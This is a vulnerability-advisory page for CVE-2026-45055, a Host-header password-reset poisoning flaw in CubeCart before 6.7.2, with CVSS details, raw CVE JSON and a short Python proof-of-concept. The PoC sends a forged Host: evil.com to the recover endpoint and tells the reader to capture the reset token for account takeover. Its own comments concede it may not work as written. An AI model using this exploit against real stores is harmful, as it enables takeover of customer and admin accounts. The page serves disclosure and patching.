Security Vulnerability Report
中文
CVE-2026-45055 CVSS 8.1 HIGH

CVE-2026-45055

Published: 2026-05-13 21:16:49
Last Modified: 2026-05-14 16:49:19

Description

CubeCart is an ecommerce software solution. Prior to 6.7.2, CubeCart 6.6.x – 6.7.1 builds CC_STORE_URL directly from the Host request header at bootstrap, with no allowlist. The constant is embedded verbatim into transactional email links, most critically the password-reset link in User::passwordRequest() (and the admin equivalent in Admin::passwordRequest()). An unauthenticated attacker who knows a target email can POST /index.php?_a=recover with Host: evil.com; CubeCart writes a fresh verify token (valid 3,600 s) and emails the victim a link http://evil.com/index.php?_a=recovery&validate=<TOKEN>. The token is valid against the legitimate store — capturing the victim's click on evil.com yields full account takeover, or store takeover when an admin email is targeted. This vulnerability is fixed in 6.7.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

CubeCart < 6.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://victim-store.com/index.php?_a=recover" target_email = "[email protected]" attacker_domain = "evil.com" # Prepare headers, inject malicious Host header headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload data data = { "email": target_email, "email_confirm": target_email } try: # Send malicious request # Note: In Python requests, the 'Host' header is usually overridden by the URL. # This PoC demonstrates the logic; real exploitation might require raw sockets # or a library that allows manual Host header manipulation. response = requests.post(target_url, headers=headers, data=data) if response.status_code == 200: print(f"[+] Request sent to target.") print(f"[+] Check {target_email} for the reset link.") print(f"[+] The link will point to http://{attacker_domain}/...") print(f"[+] Capture the 'validate' token from your server logs to takeover the account.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45055", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:49.437", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.7.2, CubeCart 6.6.x – 6.7.1 builds CC_STORE_URL directly from the Host request header at bootstrap, with no allowlist. The constant is embedded verbatim into transactional email links, most critically the password-reset link in User::passwordRequest() (and the admin equivalent in Admin::passwordRequest()). An unauthenticated attacker who knows a target email can POST /index.php?_a=recover with Host: evil.com; CubeCart writes a fresh verify token (valid 3,600 s) and emails the victim a link http://evil.com/index.php?_a=recovery&validate=<TOKEN>. The token is valid against the legitimate store — capturing the victim's click on evil.com yields full account takeover, or store takeover when an admin email is targeted. This vulnerability is fixed in 6.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-601"}, {"lang": "en", "value": "CWE-784"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-7pvc-gxc4-chmc", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-7pvc-gxc4-chmc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}